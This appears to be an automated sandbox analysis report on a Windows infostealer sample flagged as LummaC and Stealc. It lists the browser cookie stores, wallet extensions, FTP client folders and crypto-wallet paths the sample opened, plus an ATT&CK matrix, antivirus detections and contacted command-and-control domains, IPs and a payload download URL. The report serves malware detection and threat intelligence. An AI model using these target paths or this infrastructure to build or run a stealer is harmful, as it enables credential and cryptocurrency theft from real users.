Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\ZSSZYEFYMU	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\ZSSZYEFYMU	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: ABnDy7rLFS.exe PID: 4608, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ABnDy7rLFS.exe PID: 4608, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000003.1740081879.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1782421150.000000000114E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1780569454.0000000000AD1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe PID: 2984, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	223 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	3 Obfuscated Files or Information	Security Account Manager	761 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	2 Process Injection	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	371 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ABnDy7rLFS.exe	54%	Virustotal		Browse
ABnDy7rLFS.exe	53%	ReversingLabs	Win32.Trojan.Generic
ABnDy7rLFS.exe	100%	Avira	TR/Crypt.XPACK.Gen
ABnDy7rLFS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
observerfry.lat	104.21.36.201	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
slipperyloo.lat	true	unknown
curverpluch.lat	true	unknown
tentabatte.lat	true	unknown
manyrestro.lat	true	unknown
bashfulacid.lat	true	unknown
observerfry.lat	true	unknown
wordyfindy.lat	true	unknown
https://observerfry.lat/api	true	unknown
shapestickyr.lat	true	unknown
http://185.215.113.206/c4becf79229cb002.php	false	high
talkynicer.lat	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/piBc	ABnDy7rLFS.exe, 00000000.00000003.1552974521.0000000000E22000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/ac/?q=	ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/Z	ABnDy7rLFS.exe, 00000000.00000003.1683889037.0000000000E14000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/piRc	ABnDy7rLFS.exe, 00000000.00000003.1683851235.0000000000E21000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5	ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/ws	A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://observerfry.lat/d	ABnDy7rLFS.exe, 00000000.00000003.1427533159.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1427404122.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/(	A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://observerfry.lat/apiz	ABnDy7rLFS.exe, 00000000.00000003.1427533159.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1427404122.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat/apix	ABnDy7rLFS.exe, 00000000.00000003.1552863640.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/Jb	ABnDy7rLFS.exe, 00000000.00000003.1683851235.0000000000E21000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/:aV	ABnDy7rLFS.exe, 00000000.00000003.1570333050.0000000000E22000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/products/firefoxgro.all	ABnDy7rLFS.exe, 00000000.00000003.1476731295.0000000005806000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/apiDeHl	ABnDy7rLFS.exe, 00000000.00000003.1552764498.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1501437599.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://observerfry.lat:443/api	ABnDy7rLFS.exe, 00000000.00000003.1570333050.0000000000E12000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	ABnDy7rLFS.exe, 00000000.00000003.1683772738.0000000000E01000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683811661.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/b	A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://observerfry.lat/	ABnDy7rLFS.exe, 00000000.00000003.1427404122.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	ABnDy7rLFS.exe, 00000000.00000003.1476731295.0000000005806000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php8	A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.0000000001193000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	ABnDy7rLFS.exe, 00000000.00000003.1683889037.0000000000E14000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	high
